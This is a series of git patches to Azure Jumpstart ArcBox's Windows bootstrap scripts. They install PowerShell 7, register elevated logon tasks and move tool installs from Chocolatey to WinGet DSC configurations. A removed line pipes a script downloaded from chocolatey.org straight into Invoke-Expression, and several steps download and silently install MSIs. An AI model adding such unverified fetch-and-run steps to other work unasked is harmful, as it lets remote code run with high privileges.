From 97d6e9e109de368c68fd3508cdcb32d9a7e65ef2 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 09:03:22 +0000 Subject: [PATCH 001/456] Added PowerShell 7 installation and modifed scheduled tasks Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 28 ++++++++++++++----- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 6d95966f98..28ce149fac 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -121,6 +121,20 @@ if ($flavor -eq "DataOps") { } # Installing tools + +Write-Header "Installing PowerShell 7" + +$ProgressPreference = 'SilentlyContinue' +$url = "https://github.com/PowerShell/PowerShell/releases/latest" +$latestVersion = (Invoke-WebRequest -UseBasicParsing -Uri $url).Content | Select-String -Pattern "v[0-9]+\.[0-9]+\.[0-9]+" | Select-Object -ExpandProperty Matches | Select-Object -ExpandProperty Value +$downloadUrl = "https://github.com/PowerShell/PowerShell/releases/download/$latestVersion/PowerShell-$($latestVersion.Substring(1,5))-win-x64.msi" +Invoke-WebRequest -UseBasicParsing -Uri $downloadUrl -OutFile .\PowerShell7.msi +msiexec.exe /package PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1 +Start-Process msiexec.exe -Wait -ArgumentList '/I PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1' +Remove-Item .\PowerShell7.msi + +Copy-Item $PsHome\Profile.ps1 -Destination "C:\Program Files\PowerShell\7\" + Write-Header "Installing Chocolatey Apps" $chocolateyAppList = 'az.powershell,kubernetes-cli,vcredist140,microsoft-edge,azcopy10,vscode,git,7zip,kubectx,terraform,putty.install,kubernetes-helm,ssms,dotnet-sdk,setdefaultbrowser,zoomit,openssl.light' @@ -321,21 +335,21 @@ Write-Header "Configuring Logon Scripts" if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } @@ -359,7 +373,7 @@ if ($flavor -eq "DataOps") { # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup $Trigger = New-ScheduledTaskTrigger -AtStartup - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." @@ -379,7 +393,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: powershell.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -389,7 +403,7 @@ else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task @@ -406,6 +420,6 @@ else { # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: powershell.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } From b3226e82917b0533ac18ba6dcfc56e6f0ac93dac Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 11:54:42 +0000 Subject: [PATCH 002/456] Added WinGet bootstrap Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 19 +++++++------- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 26 +++++++++++++++++++ 2 files changed, 36 insertions(+), 9 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/WinGet.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 28ce149fac..12ba89e51a 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -172,7 +172,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/MonitorWorkbookLogonScript.ps1" Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.parameters.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt - +Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" @@ -332,25 +332,27 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" +# Creating scheduled task for WinGet.ps1 +$Trigger = New-ScheduledTaskTrigger -AtLogOn +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 - Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 - Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 - Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DataOps") { @@ -372,9 +374,8 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup - $Trigger = New-ScheduledTaskTrigger -AtStartup $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" - Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." Write-Host "`n" diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 new file mode 100644 index 0000000000..cd15ec0596 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -0,0 +1,26 @@ +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" + +$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ("WinGet-provisioning-" + (Get-Date -Format "yyyyMMddHHmmss") + ".log") + +Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue + +# Install WinGet DSC resource - also installs Microsoft.WinGet.Client as implicit dependency +Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + +# Install DSC resources required for ArcBox +Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + +# Install WinGet CLI +$null = Repair-WinGetPackageManager -AllUsers + +Write-Header "Installing WinGet packages and DSC configurations" +$winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe +& $winget configure --file C:\ArcBox\DSC\configuration.dsc.yml --accept-configuration-agreements --disable-interactivity + +# Start remaining logon scripts +Get-ScheduledTask *LogonScript* | Start-ScheduledTask + +#Cleanup +Unregister-ScheduledTask -TaskName "WinGetLogonScript" -Confirm:$false +Stop-Transcript \ No newline at end of file From f2bda47ee234b6c9bcbeea0bf0d886974ce766a3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 12:58:16 +0000 Subject: [PATCH 003/456] Optimization - added variable $ScheduledTaskExecutable Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 28ce149fac..87e680ad85 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -332,24 +332,26 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" +$ScheduledTaskExecutable = "pwsh.exe" + if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force } @@ -373,7 +375,7 @@ if ($flavor -eq "DataOps") { # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup $Trigger = New-ScheduledTaskTrigger -AtStartup - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." @@ -393,7 +395,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -403,7 +405,7 @@ else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task @@ -420,6 +422,6 @@ else { # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } From 59d186e8104e535e01d8f200e7e2d314d2df42ff Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 13:49:58 +0000 Subject: [PATCH 004/456] Moved package installations from Chocolatey to WinGet Signed-off-by: Jan Egil Ring --- .../ARM/clientVm/clientVm.json | 2 +- .../artifacts/Bootstrap.ps1 | 45 +------- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 21 +++- .../artifacts/dsc/common.dsc.yml | 107 ++++++++++++++++++ .../artifacts/dsc/dataops.dsc.yml | 53 +++++++++ .../artifacts/dsc/devops.dsc.yml | 37 ++++++ .../artifacts/dsc/itpro.dsc.yml | 14 +++ .../bicep/clientVm/clientVm.bicep | 2 +- 8 files changed, 235 insertions(+), 46 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 28a3f36077..87839f663c 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -327,7 +327,7 @@ "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" ], "tags": { - "displayName": "config-choco" + "displayName": "config-bootstrap" }, "properties": { "publisher": "Microsoft.Compute", diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 12ba89e51a..2d4b73b8d0 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -73,6 +73,7 @@ param ( # Creating ArcBox path Write-Output "Creating ArcBox path" $Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxDscDir = "$Env:ArcBoxDir\DSC" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" $Env:ArcBoxKVDir = "$Env:ArcBoxDir\KeyVault" @@ -84,6 +85,7 @@ $Env:tempDir = "C:\Temp" $Env:ArcBoxDataOpsDir = "$Env:ArcBoxDir\DataOps" New-Item -Path $Env:ArcBoxDir -ItemType directory -Force +New-Item -Path $Env:ArcBoxDscDir -ItemType directory -Force New-Item -Path $Env:ArcBoxLogsDir -ItemType directory -Force New-Item -Path $Env:ArcBoxVMDir -ItemType directory -Force New-Item -Path $Env:ArcBoxKVDir -ItemType directory -Force @@ -135,34 +137,6 @@ Remove-Item .\PowerShell7.msi Copy-Item $PsHome\Profile.ps1 -Destination "C:\Program Files\PowerShell\7\" -Write-Header "Installing Chocolatey Apps" -$chocolateyAppList = 'az.powershell,kubernetes-cli,vcredist140,microsoft-edge,azcopy10,vscode,git,7zip,kubectx,terraform,putty.install,kubernetes-helm,ssms,dotnet-sdk,setdefaultbrowser,zoomit,openssl.light' - -try { - choco config get cacheLocation -} -catch { - Write-Output "Chocolatey not detected, trying to install now" - Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) -} - -Write-Host "Chocolatey Apps Specified" - -$appsToInstall = $chocolateyAppList -split "," | ForEach-Object { "$($_.Trim())" } - -foreach ($app in $appsToInstall) { - Write-Host "Installing $app" - & choco install $app /y -Force | Write-Output - -} - -Write-Header "Installing Azure CLI (64-bit not available via Chocolatey)" - -$ProgressPreference = 'SilentlyContinue' -Invoke-WebRequest -Uri https://aka.ms/installazurecliwindowsx64 -OutFile .\AzureCLI.msi -Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet' -Remove-Item .\AzureCLI.msi - Write-Header "Fetching GitHub Artifacts" # All flavors @@ -172,6 +146,10 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/MonitorWorkbookLogonScript.ps1" Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.parameters.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $Env:ArcBoxDscDir\common.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" @@ -228,8 +206,6 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcServersLogonScript.ps1") -OutFile $Env:ArcBoxDir\ArcServersLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataOpsLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/RunAfterClientVMADJoin.ps1") -OutFile $Env:ArcBoxDir\RunAfterClientVMADJoin.ps1 - Invoke-WebRequest "https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-archive/stable" -OutFile $Env:ArcBoxDir\azuredatastudio.zip - Invoke-WebRequest "https://aka.ms/azdata-msi" -OutFile $Env:ArcBoxDir\AZDataCLI.msi Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploySQLMIADAuth.ps1") -OutFile $Env:ArcBoxDir\DeploySQLMIADAuth.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.json") -OutFile $Env:ArcBoxDir\dataController.json @@ -252,8 +228,6 @@ if ($flavor -eq "DataOps") { # Full if ($flavor -eq "Full") { Write-Host "Fetching Artifacts for Full Flavor" - Invoke-WebRequest "https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-archive/stable" -OutFile $Env:ArcBoxDir\azuredatastudio.zip - Invoke-WebRequest "https://aka.ms/azdata-msi" -OutFile $Env:ArcBoxDir\AZDataCLI.msi Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/DataServicesLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataServicesLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/DeployPostgreSQL.ps1") -OutFile $Env:ArcBoxDir\DeployPostgreSQL.ps1 @@ -268,7 +242,6 @@ if ($flavor -eq "Full") { Invoke-WebRequest "https://github.com/ErikEJ/SqlQueryStress/releases/download/102/SqlQueryStressNet6.zip" -OutFile $Env:ArcBoxDir\SqlQueryStress.zip } -New-Item -path alias:kubectl -value 'C:\ProgramData\chocolatey\lib\kubernetes-cli\tools\kubernetes\client\bin\kubectl.exe' New-Item -path alias:azdata -value 'C:\Program Files (x86)\Microsoft SDKs\Azdata\CLI\wbin\azdata.cmd' # Disable Microsoft Edge sidebar @@ -291,12 +264,6 @@ If (-NOT (Test-Path $RegistryPath)) { } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force -if ($flavor -eq "Full" -Or $flavor -eq "DataOps") { - Write-Header "Installing Azure Data Studio" - Expand-Archive $Env:ArcBoxDir\azuredatastudio.zip -DestinationPath 'C:\Program Files\Azure Data Studio' - Start-Process msiexec.exe -Wait -ArgumentList "/I $Env:ArcBoxDir\AZDataCLI.msi /quiet" -} - # Change RDP Port Write-Host "RDP port number from configuration is $rdpPort" if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index cd15ec0596..deea085382 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -1,7 +1,7 @@ -$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxDir = 'C:\ArcBox' $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" -$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ("WinGet-provisioning-" + (Get-Date -Format "yyyyMMddHHmmss") + ".log") +$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ('WinGet-provisioning-' + (Get-Date -Format 'yyyyMMddHHmmss') + '.log') Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue @@ -14,13 +14,24 @@ Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustR # Install WinGet CLI $null = Repair-WinGetPackageManager -AllUsers -Write-Header "Installing WinGet packages and DSC configurations" +Write-Header 'Installing WinGet packages and DSC configurations' $winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe -& $winget configure --file C:\ArcBox\DSC\configuration.dsc.yml --accept-configuration-agreements --disable-interactivity +& $winget configure --file C:\ArcBox\DSC\common.dsc.yml --accept-configuration-agreements --disable-interactivity + +switch ($env:flavor) { + 'DevOps' { & $winget configure --file C:\ArcBox\DSC\devops.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'DataOps' { & $winget configure --file C:\ArcBox\DSC\dataops.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'ITPro' { & $winget configure --file C:\ArcBox\DSC\itpro.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'Full' { + & $winget configure --file C:\ArcBox\DSC\devops.dsc.yml --accept-configuration-agreements --disable-interactivity + & $winget configure --file C:\ArcBox\DSC\dataops.dsc.yml --accept-configuration-agreements --disable-interactivity + & $winget configure --file C:\ArcBox\DSC\itpro.dsc.yml --accept-configuration-agreements --disable-interactivity + } +} # Start remaining logon scripts Get-ScheduledTask *LogonScript* | Start-ScheduledTask #Cleanup -Unregister-ScheduledTask -TaskName "WinGetLogonScript" -Confirm:$false +Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml new file mode 100644 index 0000000000..1e6479c354 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -0,0 +1,107 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: git + directives: + description: Install Git + allowPrerelease: true + settings: + id: Git.Git + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: vscode + directives: + description: Install Visual Studio Code + allowPrerelease: true + settings: + id: Microsoft.VisualStudioCode + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: AzureCLI + directives: + description: Install Azure CLI + allowPrerelease: true + settings: + id: Microsoft.AzureCLI + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: PowerShell7 + directives: + description: Install PowerShell 7 + allowPrerelease: true + settings: + id: Microsoft.PowerShell + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + allowPrerelease: true + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: edge + directives: + description: Install Microsoft Edge + allowPrerelease: true + settings: + id: Microsoft.Edge + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: azcopy + directives: + description: Install azcopy + allowPrerelease: true + settings: + id: Microsoft.Azure.AZCopy.10 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK7 + directives: + description: Install Microsoft DotNet SDK 7 + allowPrerelease: true + settings: + id: Microsoft.DotNet.SDK.7 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: helm + directives: + description: Install Helm + 